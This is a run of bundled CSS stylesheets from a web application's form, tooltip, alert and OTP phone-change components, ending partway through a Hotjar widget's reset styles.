width: 100%;
border-radius: 0px;
border-style: none;
border-bottom: #d9d5d5 1px solid;
font-family: GothamRounded-Medium;
font-size: 18px;
letter-spacing: -0.12px;
line-height: 22px;
text-align: left;
color: #575151;
margin: 0px;
outline: none;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: transparent;
background-image: url("https://staticresourcesfiles.blob.core.windows.net/content/web/static/7647734337705425-arrow_grey.png");
background-repeat: no-repeat;
background-position-x: 100%;
background-position-y: 70%; }
.select--has-error select,
.select--has-error select:focus {
color: #FA6400;
border-bottom: #FA6400 1px solid;
background-image: url("https://staticresourcesfiles.blob.core.windows.net/content/web/static/014406170146471053-arrow_orange.png"); } }
.error-label {
font-family: GothamRounded-Book;
font-size: 14px;
color: #FA6400;
margin-top: 10px; }
@media (max-width: 320px) {
.select-mobile select,
.select-mobile select:focus {
font-size: 17px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.input-group {
font-family: GothamRounded-Medium;
display: flex;
flex-direction: column; }
.input-group .input-form__component {
height: 50px;
border-radius: 10px;
border: #d9d5d5 1px solid;
padding: 0.83rem;
outline: none; }
.input-group .input-form__component.input-form--has-error {
border-color: #FA6400; }
.input-group .input-form__component.input-form--has-error::placeholder {
color: #FA6400; }
.input-group .input-form__component.input-form--has-error {
color: #FA6400; }
.input-group .input-form__component.input-form--has-error.paris {
border-color: #009ce0; }
.input-group .input-form__component.input-form--has-error.paris::placeholder {
color: #009ce0; }
.input-group .input-form__component.input-form--has-error.paris {
color: #009ce0; }
.input-group .input-form__component.input-form--align-center {
text-align: center; }
.input-group .input-form__component.input-form--align-center::placeholder {
text-align: center; }
.input-group .input-form__component.input-form--align-left {
text-align: left; }
.input-group .input-form__component.input-form--align-left::placeholder {
text-align: left; }
.input-group .input-form__component.input-form--align-right {
text-align: right; }
.input-group .input-form__component.input-form--align-right::placeholder {
text-align: right; }
.input-group .phone {
font-family: GothamRounded-Medium !important;
font-size: 22px;
color: #575151; }
.input-group ::placeholder {
color: #9c9292;
font-family: GothamRounded-Book;
font-size: 16px;
font-weight: normal;
font-stretch: normal;
font-style: normal;
line-height: 1.38;
letter-spacing: -0.11px; }
.input-group .label-form {
min-width: 167px;
height: 18px;
display: block;
padding: 0 0 10px 0;
font-size: 18px;
flex: 1 1 100%;
color: #575151;
line-height: 1.22;
letter-spacing: -0.12px; }
.input-group .label-form.label-form--has-error {
color: #FA6400; }
.input-group .label-form.label-form--has-error.paris {
color: #009ce0; }
.input-group .label-form .phone {
font-family: GothamRounded-Medium !important;
font-size: 18px !important; }
.error-label {
font-family: GothamRounded-Book;
font-size: 14px;
color: #FA6400;
margin-top: 10px; }
.error-label.paris {
font-family: GothamRounded-Book;
font-size: 14px;
color: #009ce0;
margin-top: 10px; }
@media (max-width: 320px) {
.input-group .label-form {
font-size: 17px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.disclaimerHtml {
border-radius: 16px;
padding: 25px;
color: #575151;
margin: 0 109px; }
.disclaimerHtml h1 {
font-family: GothamRounded-Medium;
font-size: 28px;
font-weight: 500;
font-stretch: normal;
font-style: normal;
line-height: 0.96;
letter-spacing: normal;
color: #575151;
padding-bottom: 20px; }
.disclaimerHtml p {
font-family: GothamRounded-Light;
font-size: 16px;
font-weight: 500;
font-stretch: normal;
font-style: normal;
line-height: 1.31;
letter-spacing: normal;
color: #7c7979;
padding-bottom: 20px; }
.disclaimerHtml p strong {
font-family: GothamRounded-Medium;
color: #575151; }
.disclaimerHtml ul {
margin-left: 15px;
font-family: GothamRounded-Light; }
.disclaimerHtml ul li {
font-size: 16px;
color: #575151;
list-style-type: none;
position: relative; }
.disclaimerHtml ul li:before {
content: " ";
position: absolute;
left: -13px;
width: 5px;
height: 5px;
top: 5px;
border-radius: 10px;
background-color: #9c9292; }
.disclaimerHtml ul li strong {
font-family: GothamRounded-Medium;
color: #575151; }
.gray {
background-color: #f7f8f9; }
.one ul {
columns: 1;
column-gap: 50px;
column-rule: 1px solid #d9d5d5; }
.two ul {
columns: 2;
column-gap: 50px;
column-rule: 1px solid #d9d5d5; }
.three ul {
columns: 3;
column-gap: 50px;
column-rule: 1px solid #d9d5d5; }
@media (max-width: 992px) {
.disclaimerHtml {
padding: 20px; } }
@media (max-width: 992px) {
.disclaimerHtmlMobile {
margin: 0 20px; }
.disclaimerHtmlMobile ul {
columns: 1; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.tooltip {
position: absolute;
width: 351px;
height: 96px;
border-radius: 20px;
box-shadow: 1px 23px 36px 0 rgba(0, 0, 0, 0.1);
border: solid 1px #9c9292;
background-color: #FFFFFF;
opacity: 1.0;
padding-top: 10px;
padding-right: 12px;
padding-bottom: 10px;
padding-left: 12px;
color: #575151;
font-family: GothamRounded;
font-size: 14px;
font-weight: normal;
font-stretch: normal;
font-style: normal;
line-height: 1.42;
letter-spacing: normal;
display: inline-block; }
.tooltip.right .tooltip__arrow {
left: -21px;
margin-top: 19px; }
.tooltip.right .tooltip__arrow:before {
content: url(https://staticresourcesfiles.blob.core.windows.net/content/web/static/7963335310092083-arrow_tooltip.svg);
right: -36px;
margin-top: -3px;
position: absolute; }
.tooltip.left .tooltip__arrow {
right: -21px;
margin-top: 19px; }
.tooltip.left .tooltip__arrow:before {
content: url(https://staticresourcerfsc.blob.core.windows.net/dev/web/static/1479765799515529-arrow_tooltip.svg);
left: -35px;
margin-top: -7px;
position: absolute;
transform: rotate(-180deg); }
.tooltip.top .tooltip__arrow {
left: 50%;
bottom: -21px;
margin-left: -19px; }
.tooltip.top .tooltip__arrow:before {
content: url(https://staticresourcerfsc.blob.core.windows.net/dev/web/static/1479765799515529-arrow_tooltip.svg);
left: 50%;
top: -39px;
position: absolute;
transform: rotate(-90deg); }
.tooltip.bottom .tooltip__arrow {
left: 50%;
top: -21px;
margin-left: -19px; }
.tooltip.bottom .tooltip__arrow:before {
content: url(https://staticresourcerfsc.blob.core.windows.net/dev/web/static/1479765799515529-arrow_tooltip.svg);
left: 50%;
bottom: -38px;
position: absolute;
transform: rotate(90deg); }
.tooltip .tooltip__arrow {
position: absolute;
width: 0;
height: 0;
border-color: transparent;
border-right-color: transparent;
border-style: solid; }
.tooltip .tooltip__content {
width: 100%;
height: 100%;
color: #000000;
text-align: left;
background-color: transparent;
border-radius: 4px; }
.tooltip .tooltip__content p {
display: flex;
align-items: center; }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.alert {
border-radius: 8px;
text-align: left;
padding: 20px;
position: relative;
margin: 20px; }
.alert.alert--warning {
background: #fff8e5; }
.alert.alert--warning .alert__message h1 {
color: #F7B500; }
.alert.alert--warning .alert__close {
border: solid 1px #F7B500 !important;
background: #fff8e5; }
.alert.alert--warning .alert__close .close__icon:before, .alert.alert--warning .alert__close .close__icon:after {
background-color: #F7B500 !important;
margin: 1px; }
.alert.alert--warning .alert__close:hover {
border-color: #F7B500;
background-color: #FFFFFF; }
.alert.alert--warning .alert__close:hover .close__icon:before {
background-color: #F7B500; }
.alert.alert--warning .alert__close:hover .close__icon:after {
background-color: #F7B500; }
.alert.alert--success {
background: #f1fbea; }
.alert.alert--success .alert__message h1 {
color: #7ba74f; }
.alert.alert--success .alert__close {
border: solid 1px #7ba74f !important;
background: #f1fbea; }
.alert.alert--success .alert__close .close__icon:before, .alert.alert--success .alert__close .close__icon:after {
background-color: #7ba74f !important;
margin: 1px; }
.alert.alert--success .alert__close:hover {
border-color: #7ba74f;
background-color: #FFFFFF; }
.alert.alert--success .alert__close:hover .close__icon:before {
background-color: #7ba74f; }
.alert.alert--success .alert__close:hover .close__icon:after {
background-color: #7ba74f; }
.alert.alert--info {
background: #daeaf5 !important; }
.alert.alert--info .alert__message h1 {
color: #3788bc; }
.alert.alert--info .alert__close {
border: solid 1px #3788bc !important;
background: #daeaf5 !important; }
.alert.alert--info .alert__close .close__icon:before, .alert.alert--info .alert__close .close__icon:after {
background-color: #3788bc !important;
margin: 1px; }
.alert.alert--info .alert__close:hover {
border-color: #3788bc;
background-color: #FFFFFF !important; }
.alert.alert--info .alert__close:hover .close__icon:before {
background-color: #3788bc; }
.alert.alert--info .alert__close:hover .close__icon:after {
background-color: #3788bc; }
.alert.alert--danger {
background: #f8e9e8; }
.alert.alert--danger .alert__message h1 {
color: #cc372e; }
.alert.alert--danger .alert__close {
border: solid 1px #cc372e !important;
background: #f8e9e8; }
.alert.alert--danger .alert__close .close__icon:before, .alert.alert--danger .alert__close .close__icon:after {
background-color: #cc372e !important;
margin: 1px; }
.alert.alert--danger .alert__close:hover {
border-color: #cc372e;
background-color: #FFFFFF; }
.alert.alert--danger .alert__close:hover .close__icon:before {
background-color: #cc372e; }
.alert.alert--danger .alert__close:hover .close__icon:after {
background-color: #cc372e; }
.alert .alert__close {
border-radius: 12px;
position: absolute;
right: -12px !important;
top: -12px !important;
width: 24px;
height: 24px;
cursor: pointer; }
.alert .alert__close .close__icon:before, .alert .alert__close .close__icon:after {
position: absolute;
content: ' ';
top: 2px;
left: 9px;
height: 15px;
width: 2px; }
.alert .alert__close .close__icon:before {
transform: rotate(45deg); }
.alert .alert__close .close__icon:after {
transform: rotate(-45deg); }
.alert .message_container {
display: flex;
align-items: center; }
.alert .message_container .alert_img {
margin-right: 20px;
width: 40px;
height: 42px; }
.alert .message_container .alert__message {
font-family: GothamRounded-Medium;
font-size: 14px !important;
color: #575151;
line-height: 21px; }
.alert .message_container .alert__message strong {
font-family: GothamRounded-Bold; }
@media (max-width: 992px) {
.alert {
padding: 20px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.input-group {
font-family: GothamRounded-Light;
display: flex;
flex-direction: column; }
.input-group .input-form__component {
height: 50px;
border-radius: 10px;
border: #d9d5d5 1px solid;
padding: 0.83rem;
outline: none; }
.input-group .input-form__component.input-form--has-error {
border-color: #FA6400; }
.input-group .input-form__component.input-form--has-error::placeholder {
color: #FA6400; }
.input-group .input-form__component.input-form--has-error {
color: #FA6400; }
.input-group .input-form__component.input-form--align-center {
text-align: center; }
.input-group .input-form__component.input-form--align-center::placeholder {
text-align: center; }
.input-group .input-form__component.input-form--align-left {
text-align: left; }
.input-group .input-form__component.input-form--align-left::placeholder {
text-align: left; }
.input-group .input-form__component.input-form--align-right {
text-align: right; }
.input-group .input-form__component.input-form--align-right::placeholder {
text-align: right; }
.input-group ::placeholder {
color: #9c9292;
font-family: GothamRounded-Book;
font-size: 16px;
font-weight: normal;
font-stretch: normal;
font-style: normal;
line-height: 1.38;
letter-spacing: -0.11px; }
.input-group .label {
display: block;
padding: 0 0 10px 0;
font-weight: bold;
flex: 1 1 100%;
font-size: 16px;
margin: 0; }
.input-group .label.label-form--has-error {
color: #e02020; }
.input-group .label.label--small {
font-size: 18px; }
.input-group .label.label--large {
font-size: 14px; }
.error-label {
font-family: GothamRounded-Book;
font-size: 14px;
color: #FA6400;
margin-top: 10px; }
@media (max-width: 320px) {
.input-group .label {
font-size: 17px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.input-group {
font-family: GothamRounded-Light;
display: flex;
flex-direction: column; }
.input-group .input-form__component {
height: 50px;
border-radius: 10px;
border: #d9d5d5 1px solid;
padding: 0.83rem;
outline: none; }
.input-group .input-form__component.input-form--has-error {
border-color: #FA6400; }
.input-group .input-form__component.input-form--has-error::placeholder {
color: #FA6400; }
.input-group .input-form__component.input-form--has-error {
color: #FA6400; }
.input-group .input-form__component.input-form--align-center {
text-align: center; }
.input-group .input-form__component.input-form--align-center::placeholder {
text-align: center; }
.input-group .input-form__component.input-form--align-left {
text-align: left; }
.input-group .input-form__component.input-form--align-left::placeholder {
text-align: left; }
.input-group .input-form__component.input-form--align-right {
text-align: right; }
.input-group .input-form__component.input-form--align-right::placeholder {
text-align: right; }
.input-group ::placeholder {
color: #9c9292;
font-family: GothamRounded-Book;
font-size: 16px;
font-weight: normal;
font-stretch: normal;
font-style: normal;
line-height: 1.38;
letter-spacing: -0.11px; }
.input-group .label {
display: block;
padding: 0 0 10px 0;
font-weight: bold;
flex: 1 1 100%;
font-size: 16px;
margin: 0; }
.input-group .label.label-form--has-error {
color: #e02020; }
.input-group .label.label--small {
font-size: 18px; }
.input-group .label.label--large {
font-size: 14px; }
.error-label {
font-family: GothamRounded-Book;
font-size: 14px;
color: #FA6400;
margin-top: 10px; }
@media (max-width: 320px) {
.input-group .label {
font-size: 17px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.input-group {
font-family: GothamRounded-Medium;
display: flex;
flex-direction: column; }
.input-group .input-form__component {
height: 50px;
border-radius: 10px;
border: #d9d5d5 1px solid;
padding: 0.83rem;
outline: none; }
.input-group .input-form__component.input-form--has-error {
border-color: #FA6400; }
.input-group .input-form__component.input-form--has-error::placeholder {
color: #FA6400; }
.input-group .input-form__component.input-form--has-error {
color: #FA6400; }
.input-group .input-form__component.input-form--align-center {
text-align: center; }
.input-group .input-form__component.input-form--align-center::placeholder {
text-align: center; }
.input-group .input-form__component.input-form--align-left {
text-align: left; }
.input-group .input-form__component.input-form--align-left::placeholder {
text-align: left; }
.input-group .input-form__component.input-form--align-right {
text-align: right; }
.input-group .input-form__component.input-form--align-right::placeholder {
text-align: right; }
.input-group ::placeholder {
color: #9c9292;
font-family: GothamRounded-Book;
font-size: 16px;
font-weight: normal;
font-stretch: normal;
font-style: normal;
line-height: 1.38;
letter-spacing: -0.11px; }
.input-group .label-form {
min-width: 167px;
height: 18px;
display: block;
padding: 0 0 10px 0;
font-size: 18px;
flex: 1 1 100%;
color: #575151;
line-height: 1.22;
letter-spacing: -0.12px; }
.input-group .label-form.label-form--has-error {
color: #FA6400; }
.error-label {
font-family: GothamRounded-Book;
font-size: 14px;
color: #FA6400;
margin-top: 10px; }
.card-box__tooltip {
display: flex;
justify-content: flex-start;
margin-top: -29px;
height: 18px;
width: 18px;
padding-left: 223px;
margin-bottom: 10px; }
.card-box__tooltip .popover.default {
width: 398px;
padding: 20px;
height: 179.6px; }
.card-box__tooltip .popover .triangle.right {
right: 11px; }
.card-box__tooltip .popover .popover__content {
max-height: 179.6px !important;
padding-right: 0px; }
.card-box__tooltip .popover .popover__content p {
margin-bottom: 0px; }
.card-box__tooltip .tooltip__icon {
filter: grayscale(10) brightness(150%); }
.card-box__tooltip .tooltip__icon:hover {
filter: grayscale(0); }
.card-box__tooltip .tooltip__icon.active {
filter: grayscale(0); }
.card-box__tooltip .img__popover {
display: flex;
justify-content: center; }
.card-box__tooltip .img__popover img {
width: 169px !important;
margin-right: auto; }
.card-box__tooltip .img__popover img:nth-child(2) {
margin-right: auto;
padding-left: 20px; }
@media (max-width: 320px) {
.input-group .label-form {
font-size: 17px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.otp-modify-phone {
text-align: center;
align-content: center;
width: 554px; }
.otp-modify-phone .header__title {
font-family: GothamRounded-Medium;
font-size: 28px;
color: #000000;
margin-bottom: 40px;
line-height: 28px; }
.otp-modify-phone .header__description {
font-family: GothamRounded-Book;
font-size: 16px;
color: #575151;
margin-bottom: 20px;
text-align: left;
line-height: 21px; }
.otp-modify-phone .card-box {
padding: 30px;
display: block; }
.otp-modify-phone .card-box .body__checkbox {
margin-top: 17px;
display: flex;
font-size: 14px;
line-height: 21px; }
.otp-modify-phone .card-box .body__checkbox label {
font-family: GothamRounded-Book;
padding-left: 10px;
color: #9c9292; }
.otp-modify-phone .card-box ::placeholder {
font-size: 22px !important; }
.otp-modify-phone .otp-modify-phone__footer {
margin-top: 40px;
width: 100%; }
.otp-modify-phone .otp-modify-phone__footer button {
padding-left: 60px;
padding-right: 60px; }
@media (max-width: 992px) {
.otp-modify-phone {
width: 100%; }
.otp-modify-phone .header__title {
text-align: center;
line-height: 33px;
margin-bottom: 30px; }
.otp-modify-phone .card-box {
padding: 20px;
display: block; }
.otp-modify-phone .otp-modify-phone__footer button {
width: 100%;
padding-left: 20px;
padding-right: 20px; } }
@media (max-width: 374px) {
.otp-modify-phone .otp-modify-phone__body .body__title {
line-height: 23px !important; } }
</style><style type="text/css">iframe#_hjRemoteVarsFrame {display: none !important; width: 1px !important; height: 1px !important; opacity: 0 !important; pointer-events: none !important;}</style><style>._hj-1_39t__styles__resetStyles *{line-height:normal;font-family:Arial, sans-serif, Tahoma !important;text-transform:initial !important;letter-spacing:normal !important}._hj-1_39t__styles__resetStyles *::before,._hj-1_39t__styles__resetStyles *::after{box-sizing:initial}._hj-1_39t__styles__resetStyles div{height:auto}._hj-1_39t__styles__resetStyles div,._hj-1_39t__styles__resetStyles span,._hj-1_39t__styles__resetStyles p,._hj-1_39t__styles__resetStyles a,._hj-1_39t__styles__resetStyles button{font-weight:normal !important}._hj-1_39t__styles__resetStyles div,._hj-1_39t__styles__resetStyles span,._hj-1_39t__styles__resetStyles p,._hj-1_39t__styles__resetStyles a,._hj-1_39t__styles__resetStyles img,._hj-1_39t__styles__resetStyles strong,._hj-1_39t__styles__resetStyles form,._hj-1_39t__styles__resetStyles label{border:0;font-size:100%;vertical-align:baseline;background:transparent;margin:0;padding:0;float:none !important}._hj-1_39t__styles__resetStyles span{color:inherit}._hj-1_39t__styles__resetStyles ol,._hj-1_39t__styles__resetStyles ul,._hj-1_39t__styles__resetStyles li{list-style:none !important;margin:0 !important;padding:0 !important}._hj-1_39t__styles__resetStyles li:before,._hj-1_39t__styles__resetStyles li:after{content:none !important}._hj-1_39t__styles__resetStyles hr{display:block;height:1px;border:0;border-top:1px solid #ccc;margin:1em 0;padding:0}._hj-1_39t__styles__resetStyles input[type='submit'],._hj-1_39t__styles__resetStyles input[type='button'],._hj-1_39t__styles__resetStyles button{margin:0;padding:0;float:none !important}._hj-1_39t__styles__resetStyles input,._hj-1_39t__styles__resetStyles select,._hj-1_39t__styles__resetStyles a img{vertical-align:middle}._hj-1oVIF__styles__globalStyles *,._hj-1oVIF__styles__globalStyles *::before,._hj-1oVIF__styles__globalStyles 